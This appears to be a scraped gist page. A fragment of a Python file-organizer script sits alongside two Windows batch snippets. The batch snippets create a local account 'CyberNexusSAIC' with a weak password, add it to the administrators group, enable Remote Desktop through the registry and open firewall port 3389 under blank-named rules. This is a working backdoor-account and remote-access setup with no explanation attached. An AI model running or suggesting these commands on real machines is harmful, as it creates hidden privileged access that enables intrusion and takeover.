This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Author: Jacob Rust | |
#Date: 7/8/2013 | |
#Description:This script organizes downloaded files into separate folders depending | |
#on the file type. This was made for windows systems. | |
#Download directory should be the first command line argument | |
#New file types can be added to the dictionary in the main method | |
import os | |
import sys | |
import hashlib |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
net user CyberNexusSAIC password /add | |
net localgroup administrators CyberNexusSAIC /add | |
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f | |
netsh advfirewall firewall set portopening all 3389 " " |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
net user CyberNexusSAIC password /add | |
net localgroup administrators CyberNexusSAIC /add | |
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f | |
netsh advfirewall firewall add rule name=" " dir=in action=allow protocol=TCP localport=3389 | |
netsh advfirewall firewall add rule name=" " dir=in action=allow protocol=UDP localport=3389 |